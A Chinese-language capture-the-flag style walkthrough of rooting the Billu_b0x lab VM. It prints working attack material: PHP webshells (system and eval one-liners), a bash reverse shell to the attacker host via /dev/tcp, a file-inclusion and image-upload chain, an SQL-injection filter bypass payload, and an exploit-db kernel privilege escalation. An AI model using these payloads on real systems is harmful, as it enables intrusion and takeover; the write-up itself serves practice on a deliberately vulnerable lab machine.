虛擬機難度中等,使用ubuntu(32位),其餘軟件包有:php
PHPmysql
apacheweb
MySQLsql
Boot to root:從Web應用程序進入虛擬機,並得到root權限。shell
靶機:使用VMWare打開虛機,網絡鏈接方式設置爲net,靶機自動獲取IP。數據庫
攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.七、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。apache
ip發現ubuntu
啓動Billu_b0x虛擬機,因爲虛機網絡設置爲net模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段C段IP,便可找到虛機IP,命令:windows
nmap -sP 192.168.1.1/24
後端
得到靶機ip 192.168.1.112
端口和服務識別
使用nmap掃描1-65535全端口,並作服務識別和深度掃描(加-A參數),命令:
nmap -p 1-65535 -A 192.168.1.112
發現目標主機端口和服務以下:
端口 協議 後端服務
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
進入web首頁:發現用戶名口令輸入框,並提示「Show me your SQLI skills」。
漏洞挖掘思路:
(1) SQL注入:首頁提示注入,想辦法注入成功。
(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;
(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;
(4) 手動挖掘:暴破的新頁面,經過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;
(5) 查看每一個網頁的源碼,看是否有提示;。
(6) 如獲得用戶名,密碼,嘗試登陸ssh,如能鏈接上,無需反彈shell了。
步驟1:測試首頁SQL注入
(1) 在用戶名輸入框輸入admin' or 'a'='a --
密碼隨意,發現沒法注入,出現js彈框Try again:
(2) 使用sqlmap進行post注入測試,命令:
sqlmap.py -u 「http://192.168.1.112」 --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql
sqlmap注入檢測完成,結果沒法注入,目前不知道系統對注入的過濾規則是什麼,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz注入,看看暴破目錄。
步驟2:windows使用御劍,DirBuster暴破目錄,同時使用kali Linux的dirb暴破,爲獲得更多的暴破結果,並減小暴破時間:
獲得頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy,images依次訪問:
步驟3:利用文件包含漏洞獲取php源碼、passwd文件
(1) 訪問test.php:頁面提示file參數爲空,須要提供file參數
測試文件包含:http://192.168.1.112?file=/etc/passwd
發現沒法包含,頁面沒有反應。
(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變動爲post請求,文件包含成功,得到passwd文件。
(3) 查看passwd文件,發現1個id 1000的帳號ica,ssh鏈接的用戶名能夠是ica或root:
(4) 經過一樣文件包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等文件,後面能夠訪問文件的同時,審計文件的源代碼。
add.php
add.php是一個上傳界面,可是功能沒法使用,查看源碼文件發現只是個頁面,沒有後臺處理代碼。in.php是php info信息。
步驟5:查看c.php源碼
這是數據庫鏈接文件,發現mysql鏈接用戶名密碼:
用戶名:billu
密碼:b0x_billu
數據庫名:ica_lab
c.php
步驟6:經過獲得的mysql密碼登陸phpmyadmin
獲得WEB登錄的用戶名
步驟7:繼續暴破phpmy目錄,文件包含phpmyadmin配置文件
(1) phpmyadmin的默認的配置文件是:config.inc.php。須要猜想路徑,經過URL猜想路徑默認在/var/www/phpmy下面。
(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,經過文件包含,讀取config.inc.php文件,Hackbar的獲取方法:
步驟8:使用xshell ssh登陸root帳號,完成實驗
步驟9:登陸index首頁,並得到cmd shell和反彈shell
(1) 使用web密碼登陸首頁,大小寫必須同樣。
登陸後是帳號管理界面,帳號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人同樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。
兩個帳號的頭像圖片地址,在以前暴破出來:http://192.168.1.112/uploaded_images/
(2) 點擊add user進入添加帳號界面,這是一個圖片上傳,思路是利用圖片上傳和文件包含得到shell。
查看以前test文件包含得到的panel.php源碼,發現panel.php存在本地文件包含漏洞:
下載一張http://192.168.1.112/uploaded_images/
中的圖片jack.php,文本編輯器打開,在文件中間或末尾加入一句話cmd命令馬
<?php system($_GET['cmd']); ?>
將文件 joker.php 上傳成功
(3) 使用burp執行命令: post請求url中加入執行命令的參數:POST
/ panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue
成功執行命令cat /etc/passwd;ls
或者在hackbar裏面:
(4) 用bash反彈shell
命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash
須要將命令url編碼:
在post的url中發送命令:
nc接收反彈shell成功:
步驟12:找一個可寫權限目錄,寫入菜刀馬
文件上傳目錄uploaded_images爲寫權限目錄,進入該目錄,寫一個菜刀馬:
echo '<?php eval($_POST['joker']);?>' >> 1.php
查看一下,發現上傳成功
直接菜刀連接便可
步驟13:查看內核、系統版本,尋找提權exp
(1) 查看系統內核版本,命令uanme -a
和cat /etc/issue
(2) 下載Ubuntu著名的本地提權漏洞exp:
https://www.exploit-db.com/exploits/37292/
步驟14:編譯、提權
(1) 賦予執行權限
chmod 777 37292.c
(2) 編譯exp,因爲權限限制,咱們在kali本機上gcc編譯下載好的exp腳本
gcc 37292.c -o exp
執行完代碼,會生成一個exp,直接運行
(3) 執行exp,提權至root
提權以前:
提權以後:
咱們如今已是管理員權限了,完美收官
-------------------------------------------------------------------------------------------------
正常的思路有3條路線能夠突破:
思路1
構造注入:從test的文件包含得到index.php源碼,源碼中可查看到過濾sql的方法,針對性構造sql注入,登陸後獲取shell再提權。
(1) 審計index.php源碼,發現如下過濾規則:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的做用是將字符串\' 替換爲空,所以構造SQL注入登陸payload時,必須含有\'字符串,不然會報錯。urldecode的做用是將輸入解碼。
(2) 常見的利用注入登陸的payload是' or 1=1 -- 修改這個在最後增長\',str_replace會將這個\'替換爲空。
使用php在線調試工具,測試以下:
(3) 注入成功,payload是' or 1=1 -- \'
後面獲取shell方法和上面實驗相同。
思路2:暴破出phpmyadmin,文件包含從c.php得到mysql密碼,登陸phpmyadmin,再獲取shell。
思路3:文件包含全部有權限查看的配置文件,從phpmyadmin配置文件得到root密碼,而後ssh登陸。該過程儘管mysql故障,也能夠完成。
踩到的坑
(1) mysql被高線程目錄暴破和注入宕機:致使phpmyadmin有正確密碼但沒法登陸,耗費較長時間。這是意外故障。由於以前的2個工具同時目錄暴破、sqlmap注入等線程太高,致使mysql死了。
(2) test.php文件包含漏洞利用,get不行,改成post試試。包含成功後,要把各個頁面的源代碼拿下來審計。
(3) index.php的SQL注入花費很多時間,後來發現,即便不用sql注入,也有其餘道路能夠完成,經過phpmyadmin登陸,繞過了注入。
(4) panel.php的文件包含漏洞,若是不認真關注源碼,難以發現。使用test.php的文件包含,沒能觸發shell利用。
(5) 文件上傳+文件包含拿shell是靶機經常使用的方式,遇到兩個漏洞,能夠熟練拿shell。
(6) 提權方法能夠多關注主要的配置文件、數據庫鏈接文件、用戶的文件;也能夠利用Ubuntu已知漏洞本地提權。